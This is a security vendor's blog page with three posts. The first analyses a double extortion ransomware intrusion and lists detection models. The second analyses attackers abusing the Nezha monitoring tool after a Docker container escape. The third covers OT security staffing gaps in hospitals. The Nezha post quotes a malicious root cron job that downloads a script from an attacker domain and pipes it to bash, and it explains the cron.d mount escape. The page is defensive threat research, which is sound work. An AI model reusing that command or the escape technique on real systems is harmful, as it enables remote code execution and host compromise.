Blog
/
/
May 18, 2021

The Dangers of Double Extortion Ransomware Attacks

Learn about the latest trend in ransomware attacks known as double extortion. Discover how Darktrace can help protect your organization from this threat.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Brianna Luong (Leddy)
Sr. Technical Alliances Manager
Default blog image
18
May 2021

A year and a half ago, ‘double extortion’ ransomware was being used by only one known threat actor. Now, over 16 ransomware groups actively utilize this tactic. So, what is it, and why has it become so popular?

What is double extortion ransomware?

The traditional story of ransomware was one of malicious code rapidly encrypting files with public-key RSA encryption, and then deleting those files if the victim did not pay the ransom.

However, after the infamous WannaCry and NotPetya ransomware campaigns over 2017, companies ramped up their cyber defense. More emphasis was placed on backups and restoration processes, so that even if files were destroyed, organizations had copies in place and could easily restore their data.

Yet in turn, cyber-criminals have also adapted their techniques. Now, rather than just encrypting files, double extortion ransomware exfiltrates the data first. This means that if the company refuses to pay up, information can be leaked online or sold to the highest bidder. Suddenly, all those backups and data recovery plans became worthless.

Maze ransomware and friends

In late 2019, Maze ransomware emerged as the first high-profile case of double extortion. Other strains soon followed, with the Sodinokibi attack — which crippled foreign exchange company Travelex — occurring on the final day of that year.

By mid-2020, hundreds of organizations were falling victim to double extortion attacks, various websites on the dark net were leaking company data, and the Ransomware-as-a-Service business was booming as developers sold and rented new types of malware.

Furthermore, cyber security regulations started being weaponized by cyber-criminals who could leverage the threat of having to pay a hefty compliance fine (CCPA, GDPR, NYSDFS regulations) to encourage their victims to keep quiet by offering them a ransom smaller than the penalty fee.

There were 1,200 double extortion ransomware incidents in 2020, across 63 countries, with over 60% of these aimed at the US and the UK.

Despite new legislation being written regularly to try and mitigate these attacks, they aren’t slowing down. According to a recent study by RUSI, there were 1,200 double extortion ransomware incidents in 2020 alone, across 63 different countries. 60% of these were aimed at organizations headquartered in the US, and the UK suffered the second highest number of breaches.

Last month, the cyber-criminal gang known as REvil released details about Apple’s new Macbook Pro on their site ‘Happy Blog’, threatening to release more blueprints and demanding a ransom of $50 million. And last week, Colonial Pipeline purportedly paid $5 million in bitcoin to recover from a devastating OT ransomware attack.

Anatomy of a double extortion ransomware attack

Darktrace has detected a huge upsurge in double extortion ransomware threats in the last year, most recently at an energy company based in Canada. The hackers had clearly done their homework, tailoring the attack to the company and moving quickly and stealthily once inside. Below is a timeline of this real-world incident, which was mostly carried out in the space of 24 hours.

Figure 1: A timeline of the attack

Darktrace detected every stage of the intrusion and notified the security team with high-priority alerts. If Darktrace Antigena had been active in the environment, the compromised server would have been isolated as soon as it began to behave anomalously, preventing the infection from spreading.

Encryption and exfiltration

The initial infection vector is not known, but the admin account was compromised most likely from a phishing link or a vulnerability exploit. This is indicative of a trend away from the widespread ‘spray and pray’ ransomware campaigns of the last decade, towards a more targeted approach.

Cyber AI identified an internal server engaging in unusual network scanning and attempted lateral movement using the Remote Desktop Protocol (RDP). Compromised admin credentials were used to spread rapidly from the server to another internal device, ‘serverps’.

The device ‘serverps’ initiated an outbound connection to TeamViewer, a legitimate file storage service, which was active for nearly 21 hours. This connection was used for remote control of the device and to facilitate the further stages of attack. Although TeamViewer was not in wide operation in the company’s digital environment, it was not blocked by any of the legacy defenses.

The device then connected to an internal file server and downloaded 1.95 TB of data, and uploaded the same volume of data to pcloud[.]com. This exfiltration took place during work hours to blend in with regular admin activity.

The device was also seen downloading Rclone software – an open source tool, which was likely applied to sync data automatically to the legitimate file storage service pCloud.

The compromised admin credential allowed the threat actor to move laterally during this time. Following the completion of the data exfiltration, the device ‘serverps’ finally began encrypting files on 12 devices with the extension *.06d79000.

As with the majority of ransomware incidents, the encryption happened outside of office hours – overnight in local time – to minimize the chance of the security team responding quickly.

AI-powered investigation

Cyber AI Analyst reported on four incidents related to the attack, highlighting the suspicious behavior to the security team and providing a report on the affected devices for immediate remediation. Such concise reporting allowed the security team to quickly identify the scope of the infection and respond accordingly.

Figure 2: Cyber AI Analyst incident tray for a week

Cyber AI Analyst investigates on demand

Following further analysis on March 13, the security team employed Cyber AI Analyst to conduct on-demand investigations into the compromised admin credential in Microsoft 365, as well as another device which was identified as a potential threat.

Cyber AI Analyst created an incident for this other device, which resulted in the identification of unusual port scanning during the time period of infection. The device was promptly removed from the network.

Figure 3: Cyber AI Analyst incident for a compromised device, detailing an unusual internal download

Double trouble

The use of legitimate tools and ‘Living off the Land’ techniques (using RDP and a compromised admin credential) allowed the threat actors to carry out the bulk of the attack in less than 24 hours. By exploiting TeamViewer as a legitimate file storage solution for the data exfiltration, as opposed to relying on a known ‘bad’ or recently registered domain, the hackers easily circumvented all the existing signature-based defenses.

If Darktrace had not detected this intrusion and immediately alerted the security team, the attack could have resulted not only in a ‘denial of business’ with employees locked out of their files, but also in sensitive data loss. The AI went a step further in saving the team vital time with automatic investigation and on-demand reporting.

There is so much more to lose from double extortion ransomware. Exfiltration provides another layer of risk, leading to compromised intellectual property, reputational damage, and compliance fines. Once a threat group has your data, they might easily ask for more payments down the line. It is important therefore to defend against these attacks before they happen, proactively implementing cyber security measures that can detect and autonomously respond to threats as soon as they emerge.

Learn more about double extortion ransomware.

Darktrace model detections:

  • Device / Suspicious Network Scan Activity
  • Device / RDP Scan
  • Device / Network Scan
  • Anomalous Connection / Unusual Admin SMB Session
  • Anomalous Connection / Unusual Admin RDP Session
  • Device / Multiple Lateral Movement Model Breaches
  • User / New Admin Credentials on Client
  • Anomalous Connection / Uncommon 1 GiB Outbound
  • Anomalous Connection / Low and Slow Exfiltration
  • Device / Anomalous SMB Followed By Multiple Model
  • Anomalous Connection / Download and Upload
  • Anomalous Connection / Suspicious Activity On High Risk Device
  • Anomalous File / Internal::Additional Extension Appended to SMB File
  • Compromise / Ransomware::Suspicious SMB Activity
  • Anomalous Connection / Sustained MIME Type Conversion
  • Device / Anomalous RDP Followed By Multiple Model Breaches
  • Anomalous Connection / Suspicious Read Write Ratio
  • Device / Large Number of Model Breaches
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Brianna Luong (Leddy)
Sr. Technical Alliances Manager

More in this series

No items found.

Blog

/

Network

/

June 10, 2026

How Attackers Abuse the Chinese Nezha Monitoring Tool

nezha monitoring toolDefault blog imageDefault blog image

What is Nezha?

Nezha is an open-source tool that allows system administrators to centrally monitor multiple servers, including their resource usage such as CPU and network usage, and uptime. The tool also enables remote administrative access via an interactive shell.

The project has just under 10,000 stars on GitHub and has seen widespread adoption in the Chinese IT community, with many forum posts providing guides on installation and usage.

However, Nezha’s status as a legitimate executable that has remote access capabilities creates an opportunity for misuse. Instead of deploying a regular command-and-control (C2) implant, attackers can deploy Nezha directly on compromised hosts. As these deployments are functionally indistinguishable from legitimate installations, they can blend into expected operational tooling and evade detection.

Darktrace’s analysis of a Nezha infection

Darktrace operates several high-interaction honeypots to observe attacker techniques and behaviors. Darktrace analysts observed an intrusion against the Docker-based honeypot, initiated with a malicious container create command.

 The malicious container create command.
Figure 1: The malicious container create command.

Docker allows any host file or directory to be passed through to a container, granting read and write access. In this case, the attacker made use of this to pass through the cron.d directory, which is used to schedule recurring tasks, such as maintenance or backup commands.

These commands and timings are stored in the cron.d directory, which the attacker can now write to because it is passed through to their malicious container. By writing a job to this directory from within the container, the cron service running on the host detects the new job and executes it on the host, effectively allowing the attacker to escape the container.

The attacker the created a malicious cron job named ngk:
* * * * * root curl hxxps://file.gpu5[.]com/linux_install.sh | bash

This resulted in the host downloading and running the linux_install.sh file with root privileges.

The linux_install script installs several dependencies, sets up environmental variables, and retrieves a second-stage script (nezha_install.sh) from the same domain.

The linux_install script.
Figure 2: The linux_install script.

The nezha_install.sh script based on the official Nezha installer but has been modified to hard code configuration values, such as the server address, and to remove interactive prompts, allowing it to be installed without user input.

Open by design

One of Nezha’s most interesting design choices is that its main monitoring panel does not require authentication to view a list of monitored hosts. This exposes a list of compromised systems via the attacker-controlled panel, enabling direct observation of the operation’s scale, victimology and infrastructure.

The attacker’s Nezha dashboard.
Figure 3: The attacker’s Nezha dashboard.

At the time of analysis, the campaign had infected 141 servers, with 45 still online and accessible.  The number of online servers was previously higher, suggesting that some victims may have discovered and removed the infection.

The exposed dashboard provides insights into victim characteristics, including geographic distribution, hardware specification, and resource usage. Most infected hosts were low-spec systems, commonly one or two core Xeon CPUs and less than 4GB of RAM, indicating they were likely small virtual private servers (VPS) with limited value to the attacker.

Many systems also exhibited 100% CPU usage, which may indicate concurrent compromise, such as cryptocurrency mining activity by other threat actors.

Open-source intelligence platforms such as Shodan and Censys can also identify publicly exposed instances of Nezha. Although authentication is required to execute commands on a monitored server, visibility into dashboards still provides valuable intelligence for attackers and defenders alike.

At the time of writing, Darktrace identified 33 internet-facing Nezha installations as openly accessible.

Key takeaways

The abuse of legitimate software has become a consistent feature of modern intrusion activity, enabling attackers to operate without deploying traditional malware and reducing the risk of detection.

This creates a form of “trust inversion”, where tools typically associated with routine operations may instead indicate malicious activity when deployed outside expected contexts. Organizations should therefore prioritize asset visibility and software governance, ensuring that unexpected tool deployments can be identified and investigated, rather than focusing solely on malware-centric detection.

This challenge is especially pronounced in cloud environments, where legitimate monitoring tools may represent either essential software or an attacker backdoor. The scale and dynamic nature of cloud environments further complicate distinguishing between benign and malicious use.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

Continue reading
About the author
Nathaniel Bill
Malware Research Engineer

Blog

/

OT

/

June 9, 2026

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

healthcare OTDefault blog imageDefault blog image

Rethinking the healthcare attack surface

When most people think about Operational Technology (OT) cybersecurity, they think about oil & gas pipelines, utilities, manufacturing plants, or power grids. However, hospitals & healthcare systems have quickly become a point of focus in the OT cybersecurity community as they do employ a variety of OT in the form of IoMT (Internet of Medical Things) networked devices such as: infusion pumps, imaging systems, patient monitoring equipment, laboratory systems, and traditional industrial control systems (ICS) in the form of smart building management systems (BMS) and even on site power generation control systems. 

These healthcare environments are no longer just traditional IT ecosystems, they are cyber-physical environments where disruption can directly impact patient care, operational continuity, and ultimately patient safety.

The OT cybersecurity expertise gap in healthcare organizations

Our research in the OT cybersecurity space revealed a concerning trend. Many hospitals and healthcare networks lack dedicated OT cybersecurity teams, OT security full time employees (FTE) and even OT expertise in the form of OT security certifications when compared to other critical infrastructure sectors.

On the other hand, within industries such as energy and manufacturing, we encounter more mature OT security programs that employ full time employees  dedicated to OT cybersecurity with OT security certifications and expertise to secure industrial and operational environments and lead investment in OT security processes and technology.

When reviewing the top 20 U.S. Hospitals by market cap, given what is publicly available on LinkedIn, only one FTE with an OT cybersecurity certification was found. The certifications that were searched for include: GIAC GICSP, GIAC GRID, GIAC GCIP and all ISA/IEC 62443 certifications. When replicating this same search across the top 20 utility providers in the US, 73 FTEs with OT related certifications were identified. As a control group, we looked within financial services, an industry NOT expected to have OT systems worth investing in FTEs to protect. However, the top 20 US financial institutions had 18 FTEs with OT related certifications. 

What these findings reveal

Overall, the findings regarding healthcare investment in OT security FTEs are surprising given how operationally dependent modern healthcare has become on OT. So why aren't hospitals investing in OT security personnel at the rate of peer critical infrastructures? It could just be lack of awareness; however, there are other, more plausible reasons.  

Based on historical trends in cyber incidents within the healthcare space, one could speculate that there is significantly greater likelihood of being victim to an attack that  focuses on extortion or data theft rather than an attack on specific OT systems. The amount of ransomware events incurred in healthcare, that historically do not target OT systems, may divert attention and security investment to the parts of the attack surface most likely to be targeted by ransomware. Additionally, data theft is a relevant threat objective for hospitals given PHI, PCI and PII, and data theft does not traditionally align with attacks targeting OT.  

However, with focused investment to address data theft and with adversaries new capability to string together chains of vulnerabilities of different severity scores using advancements in AI, we could be entering a threat landscape where adversaries pivot their tactics to target exposed and under protected devices and systems like OT. For example, although not a patient records database, predominant IOMT protocols HL7 and DICOM are unencrypted plaintext protocols and unless encrypted it is very simple for adversaries, who are sniffing traffic, to identify protected health information (PHI) in these communication protocols.

Why OT cybersecurity expertise can be effective for healthcare organizations

The convergence of IT, OT, and IoMT is already here, and threat actors are increasingly aware of the operational vulnerabilities that come with it. Additionally, as AI solutions such as agentic or generative applications are adopted and deployed, the attack surface will continue to change as permissions, and new connections will exist to support AI efficiency. From a cybersecurity standpoint, the reality is that many healthcare organizations are still working to establish consistent visibility and governance across their enterprise-connected devices and systems as their attack surface is changing in real time.  As the healthcare sector remains a significant target for cyber-attacks, hospitals would be well advised to begin addressing their operational environments OT as a critical component of their attack surface and invest in securing them first with people, then process and technology. 

What can healthcare organizations do to secure their OT

Including OT in current cybersecurity processes such as red teaming and testing incident response plans that take OT into account alongside building dedicated OT security capabilities including improving OT network visibility, leveraging OT network anomaly detection, micro-segmentation, and secure remote access will become essential steps in strengthening healthcare resilience. 

However, before any of the above processes or investments in technology can be made, these healthcare organizations, like the other critical infrastructure sectors, need to invest in the people with the experience in OT security to lead, implement, manage and audit the investment in OT cybersecurity technology and processes.  In cases where headcount cannot be added, investment in OT security certifications, such as the ones listed in this article, and participation on OT security events focused on practitioner training for existing cybersecurity employees can move the needle in terms of bringing OT expertise to the existing team.  

In an industry where uptime and safety are as mission critical as they are for a power utility, OT cybersecurity FTEs can no longer be viewed as optional for healthcare organizations and must become part of the foundation of modern healthcare cybersecurity strategy. 

[related-resource]

Continue reading
About the author
Daniel Simonds
Director of Operational Technology
Your data. Our AI.
Elevate your network security with Darktrace AI